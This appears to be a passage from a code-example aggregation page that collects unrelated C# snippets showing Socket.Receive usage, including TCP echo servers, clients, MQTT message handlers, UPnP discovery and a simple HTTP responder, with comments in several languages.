         for (int i = 0; i < Encoding.UTF8.GetBytes("YATA SENDER").Length; i++) ShouldRecive = ShouldRecive + Encoding.UTF8.GetBytes("YATA SENDER")[i].ToString();
         if (!RecivedData.Contains(ShouldRecive)) { return 1;}
         Debug.WriteLine("data matches YATA SENDER");
         if (!File.Exists(file)) { return 2; }
         Debug.WriteLine("File exists");
         client.SendFile(file);
         ShouldRecive = "";
         for (int i = 0; i < Encoding.UTF8.GetBytes("YATA TERM").Length; i++) ShouldRecive = ShouldRecive + Encoding.UTF8.GetBytes("YATA TERM")[i].ToString();
         data = new byte[9];
         client.Receive(data);
         RecivedData = "";
         for (int i = 0; i < data.Length; i++) RecivedData = RecivedData + data[i].ToString();
         Debug.WriteLine(RecivedData);
         if (!RecivedData.Contains(ShouldRecive)) { Debug.WriteLine("YATA TERM not recived"); return 2; }
         client.Shutdown(SocketShutdown.Both);
         Debug.WriteLine("Client shutdown");
         client.Close();
         Debug.WriteLine("Client close");
         return 0;
     }
     catch (Exception ex)
     {
         Debug.WriteLine("Exception:");
         Debug.WriteLine("Message" + ex.Message);
         Debug.WriteLine("Inner exception" + ex.InnerException);
         Debug.WriteLine(ex.ToString());
         // MessageBox.Show("There was an error: " + ex.Message + "\r\n" + ex.InnerException);
         return -1;
     }
 }
        public static byte[] checkMessageContent(Socket socket)
        {
            byte[] content = null;
            byte[] length = new byte[255];
            socket.Receive(length, 255, SocketFlags.None);

            int reallength = BitConverter.ToInt32(length, 0);
            if (reallength > 0)
            {
                int contentLength = BitConverter.ToInt32(length, 0);
                content = new byte[contentLength];
                socket.Receive(content, contentLength, SocketFlags.None);
            }
            return content;
        }
        public void SendRecvTest()
        {
            isRecv = false;

            var server = new Listener<object>();
            server.StartServer(4531);
            server.SocketConnect += OnSocketRecvConnect;
            server.SocketRecv += server_SocketRecv;
            Socket client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
            client.Connect("localhost", 4531);
            Assert.IsTrue(client.Connected);

            if (!UnitTestUtil.Wait(1000, () => isRecvConnect))
                Assert.Fail("socket连接在超时后,未出发连接事件。");

            var buffer = new byte[4];
            buffer[0] = 1;
            buffer[3] = 255;

            client.Send(buffer, buffer.Length, SocketFlags.None);

            if (!UnitTestUtil.Wait(1000, () => isRecv))
                Assert.Fail("socket连接成功后发数据,服务器没收到数据。");

            var outbuffer = new byte[10];
            var len = client.Receive(outbuffer);

            Assert.AreEqual(len, 4);
            Assert.AreEqual(outbuffer[0], 1);
            Assert.AreEqual(outbuffer[3], 255);
            Assert.AreEqual(outbuffer[4], 0);

            //  再发送测试一次
            isRecv = false;

            client.Send(buffer, 2, SocketFlags.None);

            if (!UnitTestUtil.Wait(1000, () => isRecv))
                Assert.Fail("socket连接成功后发数据,服务器没收到数据。");

            outbuffer = new byte[10];
            len = client.Receive(outbuffer);
            Assert.AreEqual(len, 2);

            Assert.AreEqual(outbuffer[0], 1);

            server.Close();
        }
Exemple #34
0
        static void socket()
        {
            // (1) 소켓 객체 생성 (TCP 소켓)
            System.Net.Sockets.Socket sock = new System.Net.Sockets.Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);

            // (2) 포트에 바인드
            IPEndPoint ep = new IPEndPoint(IPAddress.Any, 7000);

            sock.Bind(ep);

            // (3) 포트 Listening 시작
            sock.Listen(10);

            // (4) 연결을 받아들여 새 소켓 생성 (하나의 연결만 받아들임)
            System.Net.Sockets.Socket clientSock = sock.Accept();

            byte[] buff = new byte[8192];
            while (!Console.KeyAvailable) // 키 누르면 종료
            {
                // (5) 소켓 수신
                int n = clientSock.Receive(buff);

                string data = Encoding.UTF8.GetString(buff, 0, n);
                Console.WriteLine(data);

                // (6) 소켓 송신
                clientSock.Send(buff, 0, n, SocketFlags.None);  // echo
            }

            // (7) 소켓 닫기
            clientSock.Close();
            sock.Close();
        }
Exemple #35
0
 /// <summary>
 /// 开启服务,连接服务端
 /// </summary>
 public void StartClient()
 {
     try
     {
         //1.0 实例化套接字(IP4寻址地址,流式传输,TCP协议)
         _socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
         //2.0 创建IP对象
         IPAddress address = IPAddress.Parse(_ip);
         //3.0 创建网络端口包括ip和端口
         IPEndPoint endPoint = new IPEndPoint(address, _port);
         //4.0 建立连接
         _socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, 1);
         _socket.Connect(endPoint);
         //Console.WriteLine("连接服务器成功");
         //5.0 接收数据
         int length = _socket.Receive(buffer);
         var t      = string.Format("接收服务器{0},消息:{1}", _socket.RemoteEndPoint.ToString(), Encoding.UTF8.GetString(buffer, 0, length));
         //6.0 像服务器发送消息
         for (int i = 0; i < 10; i++)
         {
             Thread.Sleep(2000);
             string sendMessage = string.Format("客户端发送的消息,当前时间{0}", DateTime.Now.ToString());
             _socket.Send(Encoding.UTF8.GetBytes(sendMessage));
             var tt = string.Format("像服务发送的消息:{0}", sendMessage);
         }
     }
     catch (Exception ex)
     {
         _socket.Shutdown(SocketShutdown.Both);
         _socket.Close();
         //Console.WriteLine(ex.Message);
     }
     //Console.WriteLine("发送消息结束");
     ///Console.ReadKey();
 }
Exemple #36
0
        //***************************************************************
        //  Message handlers (received)
        //***************************************************************

        public static int handleSUBACK(Socket mySocket, byte firstByte)
        {
            int remainingLength = 0;
            int messageID       = 0;
            int index           = 0;
            int QoSIndex        = 0;

            int[]  QoS    = null;
            byte[] buffer = null;
            remainingLength = undoRemainingLength(mySocket);
            buffer          = new byte[remainingLength];
            if ((mySocket.Receive(buffer, 0) != remainingLength) || remainingLength < 3)
            {
                return(Constants.ERROR);
            }
            messageID += buffer[index++] * 256;
            messageID += buffer[index++];
            Debug.Print("SUBACK: Message ID: " + messageID);
            do
            {
                QoS             = new int[remainingLength - 2];
                QoS[QoSIndex++] = buffer[index++];
                Debug.Print("SUBACK: QoS Granted: " + QoS[QoSIndex - 1]);
            } while(index < remainingLength);
            return(Constants.SUCCESS);
        }
Exemple #37
0
    public void ClientService()
    {
        string data = null;

        byte[] bytes = new byte[4096];
        // Console.WriteLine("新用户的连接。。。");
        dlqss = true;
        try
        {
            while ((i = client.Receive(bytes)) != 0)
            {
                if (i < 0)
                {
                    break;
                }
                data = System.Text.Encoding.ASCII.GetString(bytes, 0, i);
                //Console.WriteLine("收到数据: {0}", data);
                //data = data.ToUpper();
                if (RustProtect.PlayerProtect.jinfu)
                {
                    data  = "huoji|jinfu";
                    bytes = System.Text.Encoding.ASCII.GetBytes(data);
                    client.Send(bytes);
                    RustProtect.PlayerProtect.jinfu = !RustProtect.PlayerProtect.jinfu;
                }
            }
        }
        catch (System.Exception exp)
        {
            //Console.WriteLine(exp.ToString());
        }
        client.Close();
        dlqss = false;
        // Console.WriteLine("用户断开连接。。。");
    }
        private void _server_SocketConnected(System.Net.Sockets.Socket socket)
        {
            try
            {
                //设置接收标志位
                _recevingFlag = true;
                //配置Socket的Timeout
                socket.ReceiveTimeout = SOCKET_RECEIVE_TIMEOUT;
                byte[] headerBytes = new byte[16];
                int    byteRec     = socket.Receive(headerBytes, 0, 16, SocketFlags.None);
                string headerMsg   = Encoding.Unicode.GetString(headerBytes.Take(byteRec).ToArray(), 0, byteRec).TrimEnd('\0');
                switch (headerMsg)
                {
                case "$RMF#":
                    //获取本地监控文件夹信息
                    List <string> monitorFloders = SimpleIoc.Default.GetInstance <MainViewModel>().MonitorCollection.Select(m => m.MonitorDirectory).ToList();
                    //通过连接Socket返回(发送)监控文件夹信息
                    SendMoniterFolders(socket, monitorFloders);
                    break;

                case "$RFS#":
                    ReceiveSubscribInfo(socket);
                    break;

                case "$BTF#":
                    ReceiveFiles(socket);
                    break;

                case "$DMF#":
                    ReceiveDeleteMonitor(socket);
                    break;

                case "$DSF#":
                    ReceiveUnregeistSubscirbe(socket);
                    break;

                default:
                    _logger.Error(string.Format("套接字所接受字节数据无法转换为有效数据!转换结果为:{0}", headerMsg));
                    break;
                }
                //回复接收标志位
                _recevingFlag = false;
            }
            catch (SocketException se)
            {
                _logger.Error(string.Format("本地接收远端套接字的发送数据时,发生套接字异常!SocketException ErrorCode:{0}", se.ErrorCode));
                CloseSocket(socket);
                MessageBox.Show("本地接收远端套接字的发送数据时,发生套接字异常!", "错误", MessageBoxButtons.OK, MessageBoxIcon.Error);
                //回复接收标志位
                _recevingFlag = false;
            }
            catch (Exception e)
            {
                _logger.Error(string.Format("本地接收远端套接字的发送数据时,发生异常!异常为:{0}", e.Message));
                CloseSocket(socket);
                MessageBox.Show("本地接收远端套接字的发送数据时,发生异常!", "错误", MessageBoxButtons.OK, MessageBoxIcon.Error);
                //回复接收标志位
                _recevingFlag = false;
            }
        }
Exemple #39
0
    public static void Start_Client(System.Net.Sockets.Socket socket, IPEndPoint remoteEP)
    {
        // Data buffer
        byte[] bytes = new byte[1024];

        // Connect to a server

        try {
            socket.Connect(remoteEP);
            status_label.Text = "connected";

            // Receive data
            int bytesRec = socket.Receive(bytes);
            console_text.Buffer.Text = Encoding.ASCII.GetString(bytes, 0, bytesRec);

            socket.Shutdown(SocketShutdown.Both);
            socket.Close();
            status_label.Text = "disconnected";
        } catch (ArgumentNullException ane) {
            console_text.Buffer.Text = ane.ToString();
        } catch (SocketException se) {
            console_text.Buffer.Text = se.ToString();
        } catch (Exception e) {
            console_text.Buffer.Text = e.ToString();
        }
    }
Exemple #40
0
        /// <summary> This method sends data down your connected socket connection to the specified server Synchronously.</summary>
        /// <param name="command"> This is the command that your are sending to the server.</param>
        /// <returns> The return value is a string of the response from the server.</returns>
        public SocketResponse TransmitDataSynchronously(string command)
        {
            if (!_socket.Connected)
            {
                throw new Exception("Socket is no longer connected." + Environment.NewLine);
            }

            byte[] byteData = _connInfo.Encoder.GetBytes(command);

            _socket.Send(byteData, byteData.Length, 0);
            int bytesReceived;

            do
            {
                System.Threading.Thread.Sleep(1000);
                bytesReceived = _socket.Available;
                if (bytesReceived > 0)
                {
                    bytesReceived  = _socket.Receive(_buffer, _buffer.Length, 0);
                    _receivedData += _connInfo.Encoder.GetString(_buffer, 0, bytesReceived);
                }
            } while (bytesReceived > 0);

            return(new SocketResponse
            {
                Data = _receivedData,
                TimeoutOccurred = false
            });
        }
Exemple #41
0
        /// <summary>Reads a number of characters from the current source Stream and writes the data to the target array at the specified index.</summary>
        /// <param name="sourceStream">The source Stream to read from.</param>
        /// <param name="target">Contains the array of characteres read from the source Stream.</param>
        /// <param name="start">The starting index of the target array.</param>
        /// <param name="count">The maximum number of characters to read from the source Stream.</param>
        /// <returns>The number of characters read. The number will be less than or equal to count depending on the data available in the source Stream. Returns -1 if the end of the stream is reached.</returns>
        public static System.Int32 ReadInput(System.Net.Sockets.Socket sock, byte[] target, int start, int count)
        {
            // Returns 0 bytes if not enough space in target
            if (target.Length == 0)
            {
                return(0);
            }

            int bytesRead, totalBytesRead = 0, buffStart = start;

            while (true)
            {
                try
                {
                    if (!sock.Connected)
                    {
                        throw new ExtSocketException("socket closed");
                    }

                    bytesRead = sock.Receive(target, start, count, SocketFlags.None);

                    if (bytesRead == 0)
                    {
                        throw new ExtSocketException("socket closed");
                    }

                    totalBytesRead += bytesRead;
                    if (bytesRead == count)
                    {
                        break;
                    }
                    else
                    {
                        count = count - bytesRead;
                    }

                    start = start + bytesRead;
                }
                catch (SocketException e)
                {
                    if (e.SocketErrorCode == SocketError.NoBufferSpaceAvailable)
                    {
                        continue;
                    }

                    else
                    {
                        throw;
                    }
                }
            }

            // Returns -1 if EOF
            if (totalBytesRead == 0)
            {
                return(-1);
            }

            return(totalBytesRead);
        }
Exemple #42
0
        public string Receive()
        {
            var data = new byte[Buffer];
            var recv = Socket.Receive(data);

            return(Encoding.UTF8.GetString(data, 0, recv));
        }
            public void ClientService()
            {
                var bytes = new byte[4096];

                try
                {
                    var i = 0;
                    while ((i = client.Receive(bytes)) != 0)
                    {
                        if (i < 0)
                        {
                            break;
                        }
                        var callbackBuff = new byte[i];
                        Buffer.BlockCopy(bytes, 0, callbackBuff, 0, i);
                        client.Send(callbackBuff);
                        callback.Invoke(callbackBuff);
                    }
                }
                catch (Exception exp)
                {
                    Console.WriteLine(exp.ToString());
                }
                client.Close();
            }
Exemple #44
0
        private static bool PostAction(Proxy p, Server server, Action action)
        {
            var instance = p.Instance;

            // if we can't issue any commands, bomb out
            if (instance.AdminUser.IsNullOrEmpty() || instance.AdminPassword.IsNullOrEmpty())
            {
                return(false);
            }

            var loginInfo     = $"{instance.AdminUser}:{instance.AdminPassword}";
            var haproxyUri    = new Uri(instance.Url);
            var requestBody   = $"s={server.Name}&action={action.ToString().ToLower()}&b={p.Name}";
            var requestHeader = $"POST {haproxyUri.AbsolutePath} HTTP/1.1\r\nHost: {haproxyUri.Host}\r\nContent-Length: {Encoding.GetEncoding("ISO-8859-1").GetBytes(requestBody).Length}\r\nAuthorization: Basic {Convert.ToBase64String(Encoding.Default.GetBytes(loginInfo))}\r\n\r\n";

            try
            {
                var socket = new System.Net.Sockets.Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                socket.Connect(haproxyUri.Host, haproxyUri.Port);
                socket.Send(Encoding.UTF8.GetBytes(requestHeader + requestBody));

                var responseBytes = new byte[socket.ReceiveBufferSize];
                socket.Receive(responseBytes);

                var response = Encoding.UTF8.GetString(responseBytes);
                instance.PurgeCache();
                return(response.StartsWith("HTTP/1.0 303") || response.StartsWith("HTTP/1.1 303"));
            }
            catch (Exception e)
            {
                Current.LogException(e);
                return(false);
            }
        }
        /// <summary>
        /// Processes the request.
        /// </summary>
        private void ProcessRequest()
        {
            const Int32 c_microsecondsPerSecond = 1000000;

            // 'using' ensures that the client's socket gets closed.
            using (m_clientSocket)
            {
                // Wait for the client request to start to arrive.
                Byte[] buffer = new Byte[1024];
                if (m_clientSocket.Poll(5 * c_microsecondsPerSecond,
                                        SelectMode.SelectRead))
                {
                    // If 0 bytes in buffer, then the connection has been closed,
                    // reset, or terminated.
                    if (m_clientSocket.Available == 0)
                    {
                        return;
                    }

                    // Read the first chunk of the request (we don't actually do
                    // anything with it).
                    Int32 bytesRead = m_clientSocket.Receive(buffer,
                                                             m_clientSocket.Available, SocketFlags.None);

                    // Return a static HTML document to the client.
                    String s =
                        "HTTP/1.1 200 OK\r\nContent-Type: text/html; charset=utf-8\r\n\r\n<html><head><title>.NET Micro Framework Web Server</title></head>" +
                        "<body><bold><a href=\"http://www.microsoft.com/netmf/\">Learn more about the .NET Micro Framework by clicking here</a></bold></body></html>";
                    m_clientSocket.Send(Encoding.UTF8.GetBytes(s));
                }
            }
        }
Exemple #46
0
        private static bool Discover() {
            Socket s = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
            s.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.Broadcast, 1);
            byte[] data = Encoding.ASCII.GetBytes(req);
            IPEndPoint ipe = new IPEndPoint(IPAddress.Broadcast, 1900);
            byte[] buffer = new byte[0x1000];

            DateTime start = DateTime.Now;
            try {
                do {
                    s.SendTo(data, ipe);
                    s.SendTo(data, ipe);
                    s.SendTo(data, ipe);

                    int length = 0;
                    do {
                        length = s.Receive(buffer);

                        string resp = Encoding.ASCII.GetString(buffer, 0, length);
                        if (resp.Contains("upnp:rootdevice")) {
                            resp = resp.Substring(resp.ToLower().IndexOf("location:") + 9);
                            resp = resp.Substring(0, resp.IndexOf("\r")).Trim();
                            if (!string.IsNullOrEmpty(_serviceUrl = GetServiceUrl(resp))) {
                                _descUrl = resp;
                                return true;
                            }
                        }
                    } while (length > 0);
                } while (start.Subtract(DateTime.Now) < _timeout);
                return false;
            }
            catch {
                return false;
            }
        }
Exemple #47
0
        void recv(System.Net.Sockets.Socket socket, Queue recv)
        {
            string recvmsg = String.Empty;

            byte[] buffer  = new byte[1024 * 1024];
            int    n       = 1;
            int    working = 1;

            while (working == 1)
            {
                Thread.Sleep(200);
                try{
                    n = socket.Receive(buffer);
                }
                catch (Exception)
                {
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.WriteLine("");
                    Console.WriteLine("");
                    Console.WriteLine("Connection Failed");
                    Console.ForegroundColor = ConsoleColor.White;
                    working = 0;
                }
                recvmsg = Encoding.UTF8.GetString(buffer, 0, n);
                recv.Enqueue((object)recvmsg);
            }
        }
Exemple #48
0
        public void Run()
        {
            int inBufferCount;

            try
            {
                serialPort = Comm2IP.GetSerialPort(socket, comPort, baudRate);
                while (true)
                {
                    inBufferCount = socket.Receive(inBuffer);
                    if (inBufferCount == 0)
                    {
                        break;
                    }
                    serialPort.Send(inBuffer, inBufferCount);
                }
            }
            catch (Exception e)
            {
                log.Error(e);
            }
            finally
            {
                log.Info("Lost connection from: " + socket.RemoteEndPoint + " for: " + comPort + "@" + baudRate);
                Comm2IP.CloseSerialPort(serialPort);
                try { socket.Close(); }
                catch { }
            }
        }
Exemple #49
0
        public void SentMessage(ServerFunctionsNames serverFunctionName, object data = null, string UserName = "******")
        {
            clientSocket = new Sockets.Socket(ipAddress.AddressFamily, SocketType.Stream, ProtocolType.Tcp);

            try
            {
                clientSocket.Connect(remoteEndPoint);

                var buffer = new byte[2048];

                byte[] messageData = Serializer.Serialize(new SocketMessage(serverFunctionName.ToString(), UserName, data));
                var    messageSize = BitConverter.GetBytes(messageData.Count() + 4);

                var message = messageSize.Concat(messageData).ToArray();

                clientSocket.Send(message);

                var recievedBytesCount = clientSocket.Receive(buffer);
                var recievedMessage    = Serializer.Deserialize <SocketMessage>(buffer);
                ReflectionHelper.InvokeFunction(clientController, recievedMessage.CallbackFunction, new object[] { recievedMessage.Data });

                clientSocket.Shutdown(SocketShutdown.Both);
                clientSocket.Close();
            }
            catch (Exception ex)
            {
                throw new Exception("Failed to send message to serwer");
            }
        }
Exemple #50
0
    public void OnReceived(IAsyncResult ar)
    {
        try
        {
            System.Net.Sockets.Socket sock = (System.Net.Sockets.Socket)ar.AsyncState;

            int nBytesRec = sock.EndReceive(ar);
            if (nBytesRec > 0)
            {
                // Read the message
                int bytesRead = sock.Receive(m_byBuff, BitConverter.ToInt32(m_msg_header, 0), SocketFlags.None);
                // Wrote the data to the List
                string received = Encoding.ASCII.GetString(m_byBuff, 0, bytesRead);

                JObject obj = JObject.Parse(received);
                if (obj["type"].ToString() == "message")
                {
                    string severity = obj["severity"].ToString();
                    string message  = obj["message"].ToString();

                    if (severity == "info")
                    {
                        WriteLog(message, tagInfo);
                    }
                    else if (severity == "warning")
                    {
                        WriteLog(message, tagWarning);
                    }
                    else if (severity == "error")
                    {
                        WriteLog(message, tagError);
                    }
                    else if (severity == "debug")
                    {
                        WriteLog(message, tagDebug);
                    }
                }
                else
                {
                    WriteLog("Unknown response from server\n", tagInfo);
                }

                // If the connection is still usable restablish the callback
                Receive(sock);
            }
            else
            {
                // If no data was recieved then the connection is probably dead
                WriteLog("Server closed connection\n", tagInfo);
                sock.Shutdown(SocketShutdown.Both);
                sock.Close();
            }
        }
        catch (Exception ex)
        {
            WriteLog("Unknown error during receive\n", tagInfo);
        }
    }
Exemple #51
0
        /// <summary>
        /// 发送数据并接收服务器响应(短连接)
        /// </summary>
        /// <param name="datagram">报文</param>
        /// <returns>返回接收报文和错误消息</returns>
        public virtual string SendSyn(string datagram)
        {
            string response = "";

            if (!this.isConnection)
            {
                return("Fail-EX:服务器连接失败");
            }
            try
            {
                //发送的字节数组
                Byte[] bytesSent = encod.ToString(datagram + this.Suffix);
                // Send data to server.
                sock.Send(bytesSent, bytesSent.Length, 0);
            }
            catch (Exception)
            {
                //关闭连接
                this.Close();
                return("Fail-EX:数据发送失败");
            }
            int bytes = 0;

            //接收服务端的响应消息
            try
            {
                bytes = sock.Receive(ReceiveDataBuffer, ReceiveDataBuffer.Length, 0);
            }
            catch (SocketException se)
            {
                response = "Fail-EX:" + se.Message;
            }
            catch (Exception ex)
            {
                response = "Fail-EX:" + ex.Message;
            }
            if (bytes > 0)
            {
                response = encod.ToString(ReceiveDataBuffer, bytes);
                //粘报处理
                string[] packets = Resolve(response);
                foreach (var pack in packets)
                {
                    if (string.IsNullOrEmpty(pack))
                    {
                        continue;
                    }
                    response = pack;
                }
            }
            //数据接收完成后直接关闭连接,节约资源
            try { Close(); }
            catch (Exception) { }

            //只要发送成功了就返回成功,不管响应是否成功
            return(response);
        }
Exemple #52
0
        protected override int ReadFromSource(bool throwExceptionIfDisconnected, int timeOut, bool throwExceptionOnTimeout)
        {
            byte[] TempBuff   = new byte[mRecvBufferSize];
            int    LByteCount = 0;

            if (timeOut == 0)
            {
                timeOut = Global.InfiniteTimeOut;
            }
            else
            {
                timeOut = mReadTimeout;
            }
            CheckForDisconnect(throwExceptionIfDisconnected);
            //do
            //{
            if (Readable(timeOut))
            {
                if (IsOpen())
                {
                    LByteCount = mSocket.Receive(TempBuff);
                    byte[] DataBuffer = new byte[LByteCount];
                    Array.Copy(TempBuff, DataBuffer, LByteCount);
                    //              if (_Intercept != null)
                    //              {
                    //                _Intercept.Receive(ref LBuffer);
                    //                LByteCount = LBuffer.Count;
                    //              }
                    InterceptReceive(ref DataBuffer);
                    LByteCount = DataBuffer.Length;
                    mInputBuffer.Write(DataBuffer);
                    DataBuffer = null;
                    TempBuff   = null;
                }
                else
                {
                    throw new ClosedSocketException(ResourceStrings.StatusDisconnected);
                }
                if (LByteCount == 0)
                {
                    CloseGracefully();
                }
                CheckForDisconnect(throwExceptionIfDisconnected);
                return(LByteCount);
            }
            else
            {
                if (throwExceptionOnTimeout)
                {
                    throw new ReadTimeoutException();
                }
                return(-1);
            }
            //}
            //while ((LByteCount == 0) || (IsOpen()));
            //return 0;
        }
Exemple #53
0
        public void ServerThreadProc()
        {
            while (true)
            {
                try
                {
                    // 處理用戶端連線
                    clientSocket = tcpListener.AcceptSocket();

                    // 取得本機相關的網路資訊
                    IPEndPoint serverInfo = (IPEndPoint)tcpListener.LocalEndpoint;

                    // 取得連線用戶端相關的網路連線資訊
                    IPEndPoint clientInfo = (IPEndPoint)clientSocket.RemoteEndPoint;

                    Console.WriteLine("Client: " + clientInfo.Address.ToString() + ":" + clientInfo.Port.ToString());
                    Console.WriteLine("Server: " + serverInfo.Address.ToString() + ":" + serverInfo.Port.ToString());

                    // 設定接收資料緩衝區
                    byte[] bytes = new Byte[1024];

                    // 自已連線的用戶端接收資料
                    int bytesReceived = clientSocket.Receive(bytes, 0, bytes.Length, SocketFlags.None);

                    if (bytesReceived > 0)
                    {
                        Console.WriteLine("接收位元組數目: {0}", bytesReceived);
                        Console.WriteLine("接收的資料內容: \r\n" + "{0}", Encoding.UTF8.GetString(bytes, 0, bytesReceived) + "\r\n");
                    }

                    // 測試用
                    string htmlBody   = "<html><head><title>Send Test</title></head><body><font size=2 face=Verdana>Sent OK.</font></body></html>";
                    string htmlHeader = "HTTP/1.0 200 OK" + "\r\n" + "Server: HTTP Server 1.0" + "\r\n" + "Content-Type: text/html" + "\r\n" + "Content-Length: " + htmlBody.Length + "\r\n\r\n";

                    string htmlContent = htmlHeader + htmlBody;

                    // 設定傳送資料緩衝區
                    byte[] msg = Encoding.ASCII.GetBytes(htmlContent);

                    // 傳送資料至已連線的用戶端
                    int bytesSend = clientSocket.Send(msg, 0, msg.Length, SocketFlags.None);

                    Console.WriteLine("傳送位元組數目: {0}", bytesSend);
                    Console.WriteLine("傳送的資料內容: " + "\r\n" + "{0}", Encoding.UTF8.GetString(msg, 0, bytesSend) + "\r\n");

                    // 同時暫停用戶端的傳送和接收作業
                    clientSocket.Shutdown(SocketShutdown.Both);
                    // 關閉用戶端Socket
                    clientSocket.Close();
                }
                catch (Exception ex)
                {
                    Console.WriteLine(ex.StackTrace.ToString());
                }
            }
        }
        private void HandleCommunicationWithClient(object clientSocket)
        {
            System.Net.Sockets.Socket socket = (System.Net.Sockets.Socket)clientSocket;

            byte[] recvBytes = new byte[1024];
            int    bytesRead;

            while (true)
            {
                bytesRead = 0;
                try
                {
                    //blocks until a client sends a message
                    socket.Blocking = true;
                    bytesRead       = socket.Receive(recvBytes, recvBytes.Length, 0);
                }
                catch
                {
                    //a socket error has occured
                    break;
                }

                if (bytesRead == 0)
                {
                    //the client has disconnected from the server
                    break;
                }

                //message has successfully been received
                Console.WriteLine(Encoding.UTF8.GetString(recvBytes, 0, bytesRead));

                //向客户端连续推送数据
                byte[] toClientBytes = new byte[1024];
                int    counter       = 0;
                while (true)
                {
                    try
                    {
                        toClientBytes = Encoding.UTF8.GetBytes(counter + "-向客户端连续推送数据测试\r\n");
                        socket.Send(toClientBytes, toClientBytes.Length, 0);
                        Thread.Sleep(1 * 1000);
                    }
                    catch (Exception ex)
                    {
                        LogHelper.GetInstance().WriteLog(string.Format("向客户端连续推送数据失败:{0}\n{1}", ex.Message, ex.StackTrace), LogType.错误);
                        break;
                    }

                    counter++;
                }
            }

            //关闭Socket连接
            socket.Close();
        }
Exemple #55
0
        /// <summary>
        /// Issues a request for the root document on the specified server.
        /// </summary>
        /// <param name="Proxy"></param>
        /// <param name="URL"></param>
        /// <param name="port"></param>
        /// <returns></returns>
        private static String GetWebPage(String Proxy, String URL, Int32 port)
        {
            const Int32 c_microsecondsPerSecond = 1000000;
            string      host   = GetHostFromURL(URL);
            string      server = Proxy.Length > 0 ? Proxy : host;

            // Create a socket connection to the specified server and port.
            using (Socket serverSocket = ConnectSocket(server, port))
            {
                // Send request to the server.
                String request = "GET " + URL + " HTTP/1.1\r\nHost: " + host +
                                 "\r\nConnection: Close\r\n\r\n";
                Byte[] bytesToSend = Encoding.UTF8.GetBytes(request);
                serverSocket.Send(bytesToSend, bytesToSend.Length, 0);

                // Reusable buffer for receiving chunks of the document.
                Byte[] buffer = new Byte[1024];

                // Accumulates the received page as it is built from the buffer.
                String page = String.Empty;

                // Wait up to 30 seconds for initial data to be available.  Throws
                // an exception if the connection is closed with no data sent.
                DateTime timeoutAt = DateTime.Now.AddSeconds(30);
                while (serverSocket.Available == 0 && DateTime.Now < timeoutAt)
                {
                    System.Threading.Thread.Sleep(100);
                }

                // Poll for data until 30-second timeout.  Returns true for data and
                // connection closed.
                while (serverSocket.Poll(30 * c_microsecondsPerSecond,
                                         SelectMode.SelectRead))
                {
                    // If there are 0 bytes in the buffer, then the connection is
                    // closed, or we have timed out.
                    if (serverSocket.Available == 0)
                    {
                        break;
                    }

                    // Zero all bytes in the re-usable buffer.
                    Array.Clear(buffer, 0, buffer.Length);

                    // Read a buffer-sized HTML chunk.
                    Int32 bytesRead = serverSocket.Receive(buffer);

                    // Append the chunk to the string.
                    page = page + new String(Encoding.UTF8.GetChars(buffer));
                }

                // Return the complete string.
                return(page);
            }
        }
Exemple #56
0
 private void ReceiveData()
 {
     if (stop)
     {
         Enable = false;
     }
     System.Net.Sockets.Socket socket = tl.AcceptSocket();
     byte[] data = new byte[socket.ReceiveBufferSize];
     socket.Receive(data);
     Receive(this, new ReceiveEventArgs(data, ((IPEndPoint)socket.RemoteEndPoint).Address));
 }
Exemple #57
0
        /// <summary>
        /// 读取一个包,包之间采用定界符delimiter分割
        /// </summary>
        /// <returns></returns>
        public void ReadPacket(System.Net.Sockets.Socket socket, out string msg)
        {
            msg = string.Empty;
            byte[] buffer      = new byte[1024];//接收缓存
            int    searchIndex = 0;

            while (true)
            {
                #region 1.在缓冲中搜索分隔符,如果找到,则把分隔符前的字符返回,并移除缓存中的包括分隔符在内及之前的字符
                //如果没有找到,从socket中读取一个包
                for (; searchIndex <= recvBytes.Count - delimiterBytes.Length; searchIndex++)
                {
                    bool found = true;
                    for (int i = 0; i < delimiterBytes.Length; i++)
                    {
                        if (recvBytes[searchIndex + i] != delimiterBytes[i])
                        {
                            found = false;
                            break;
                        }
                    }
                    if (found)
                    {
                        msg = Encoding.UTF8.GetString(recvBytes.ToArray(), 0, searchIndex);
                        recvBytes.RemoveRange(0, searchIndex + delimiterBytes.Length);
                        return;
                    }
                }
                #endregion

                #region 2.从socket接收数据
                int recvByteCount = 0;//每次接收到的字节数
                try
                {
                    socket.Blocking = true;
                    recvByteCount   = socket.Receive(buffer, buffer.Length, SocketFlags.None);
                }
                catch (Exception ex)
                {
                    string errMsg = string.Format("Socket消息接收异常:{0}\n{1}", ex.Message, ex.StackTrace);
                    LogHelper.GetInstance().WriteLog(errMsg, LogType.错误);
                    Console.WriteLine(errMsg);
                    break;
                }
                #endregion

                #region 3.将接收到的数据拷贝到list中
                for (int i = 0; i < recvByteCount; i++)
                {
                    recvBytes.Add(buffer[i]);
                }
                #endregion
            }
        }
Exemple #58
0
    public static void Start_Server(IPEndPoint localEndPoint)
    {
        // Incoming data from the client
        string data = null;

        // Data buffer
        byte[] bytes = new Byte[1024];

        // Listen for incoming connections

        try {
            listener.Bind(localEndPoint);
            listener.Listen(10);

            while (true)
            {
                status_label.Text = "Waiting for a connection...";
                System.Net.Sockets.Socket handler = listener.Accept();
                data = null;

                // Process incoming connection

                while (true)
                {
                    status_label.Text = "connected";
                    bytes             = new byte[1024];
                    int bytesRec = handler.Receive(bytes);
                    data += Encoding.ASCII.GetString(bytes, 0, bytesRec);

                    // Show data in the console
                    console_text.Buffer.Text += data + "\n";


                    if (data.IndexOf("<EOF>") > -1)
                    {
                        handler.Shutdown(SocketShutdown.Both);
                        handler.Close();
                        status_label.Text = "disconnected";
                        break;
                    }

                    data = null;
                }

                // Send something back

                byte[] msg = Encoding.ASCII.GetBytes("hello sir");

                handler.Send(msg);
            }
        } catch (Exception e) {
            console_text.Buffer.Text = e.ToString();
        }
    }
Exemple #59
0
        // Connect acknowledgement - returns 3 more bytes, byte 3
        // should be 0 for success
        public static int handleCONNACK(Socket mySocket, byte firstByte)
        {
            int returnCode = 0;

            byte[] buffer = new byte[3];
            returnCode = mySocket.Receive(buffer, 0);
